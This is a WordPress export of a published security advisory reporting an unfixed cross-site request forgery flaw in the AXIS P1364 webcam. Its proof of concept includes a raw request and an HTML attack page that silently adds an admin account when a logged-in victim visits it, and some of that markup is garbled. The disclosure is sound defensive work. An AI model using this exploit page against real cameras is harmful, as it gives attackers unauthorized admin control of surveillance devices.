{"id":22675,"date":"2024-06-27T09:53:29","date_gmt":"2024-06-27T07:53:29","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22675"},"modified":"2024-07-02T10:47:46","modified_gmt":"2024-07-02T08:47:46","slug":"usd-2023-0007","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0007\/","title":{"rendered":"usd-2023-0007"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.25.2\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n

usd-2023-0007 | AXIS P1364 - Webcam - Cross-Site Request Forgery (CSRF)<\/h1>\n

<\/h1>\n

Advisory ID<\/strong>: usd-2023-0007
Product<\/strong>: AXIS P1364 - Webcam
Affected Version<\/strong>: AXIS OS 9.80.12
Vulnerability Type<\/strong>: Cross-Site Request Forgery (CSRF) (CWE-352)
Security Risk<\/strong>: High
Vendor URL<\/strong>: https:\/\/www.axis.com<\/a>
Vendor acknowledged vulnerability<\/strong>: No, CSRF vulnerabilities are out of scope according to their vulnerability management policy<\/a>
Vendor Status<\/strong>: Not fixed
CVE number<\/strong>: Not requested yet
CVE Link<\/strong>: Not requested yet<\/p>\n

Description<\/h3>\n

A CSRF vulnerability in the web interface of the AXIS P1364 allows an attacker to create a new admin account.<\/p>\n

Proof of Concept<\/h3>\n

The application fails to protect critical actions against CSRF attacks.
The following request creates a new user in the AXIS camera and does not contain protection mechanisms against CSRF.<\/p>\n

\n
<\/span>POST<\/span> \/axis-cgi\/pwdgrp.cgi<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> 192.168.1.254<\/span>\nContent-Length<\/span>:<\/span> 97<\/span>\nContent-Type<\/span>:<\/span> application\/x-www-form-urlencoded;charset=UTF-8<\/span>\nAccept<\/span>:<\/span> *\/*<\/span>\nOrigin<\/span>:<\/span> [https:\/\/192.168.1.254]()<\/span>\nConnection<\/span>:<\/span> close<\/span>\nAuthorization<\/span>:<\/span> Digest username=\"root\", realm=\"AX[...]<\/span>\n[...]<\/span>action<\/span>=<\/span>add<\/span>&<\/span>user<\/span>=<\/span>testuser<\/span>&<\/span>pwd<\/span>=<\/span>changeme<\/span>&<\/span>grp<\/span>=<\/span>users<\/span>&<\/span>strict_pwd<\/span>=<\/span>1<\/span>&<\/span>sgrp<\/span>=<\/span>viewer%3Aoperator%3Aadmin%3Aptz<\/span><\/pre>\n<\/div>\n
The following HTML creates a malicious website, which creates a new admin account once visited by the victim.<\/p>\n
\n
<\/span><<\/span>html<\/span>><\/span>\n  <\/span><<\/span>body<\/span>><\/span>\n  <\/span><<\/span>script<\/span>><\/span>history<\/span>.<\/span>pushState<\/span>(<\/span>''<\/span>,<\/span> <\/span>''<\/span>,<\/span> <\/span>'\/'<\/span>)<\/span><\/<\/span>script<\/span>><\/span>\n    <\/span><<\/span>form<\/span> <\/span>action<\/span>=<\/span>\"[https:\/\/[REDACTED]\/axis-cgi\/pwdgrp.cgi\"<\/span>]<\/span>()<\/span> <\/span>method<\/span>=<\/span>\"POST\"<\/span>><\/span>\n      <\/span><<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"hidden\"<\/span> <\/span>name<\/span>=<\/span>\"action\"<\/span> <\/span>value<\/span>=<\/span>\"add\"<\/span> <\/span>\/><\/span>\n      <\/span><<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"hidden\"<\/span> <\/span>name<\/span>=<\/span>\"user\"<\/span> <\/span>value<\/span>=<\/span>\"pentestcsrf\"<\/span> <\/span>\/><\/span>\n      <\/span><<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"hidden\"<\/span> <\/span>name<\/span>=<\/span>\"pwd\"<\/span> <\/span>value<\/span>=<\/span>\"changeme1234!\"<\/span> <\/span>\/><\/span>\n      <\/span><<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"hidden\"<\/span> <\/span>name<\/span>=<\/span>\"grp\"<\/span> <\/span>value<\/span>=<\/span>\"users\"<\/span> <\/span>\/><\/span>\n      <\/span><<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"hidden\"<\/span> <\/span>name<\/span>=<\/span>\"strict_pwd\"<\/span> <\/span>value<\/span>=<\/span>\"1\"<\/span> <\/span>\/><\/span>\n      <\/span><<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"hidden\"<\/span> <\/span>name<\/span>=<\/span>\"sgrp\"<\/span> <\/span>value<\/span>=<\/span>\"viewer:operator:admin&#58><\/span>\n      <input type=\"<\/span>submit<\/span>\" value=\"<\/span>Submit<\/span> <\/span>request<\/span>\"<\/span> <\/span>\/><\/span>\n    <\/span><\/<\/span>form<\/span>><\/span>\n  <\/span><\/<\/span>body<\/span>><\/span>\n<\/<\/span>html<\/span>><\/span><\/pre>\n<\/div>\n
Fix<\/h3>\n
Implement unique CSRF tokens for state-changing requests.<\/p>\n
References<\/h3>\n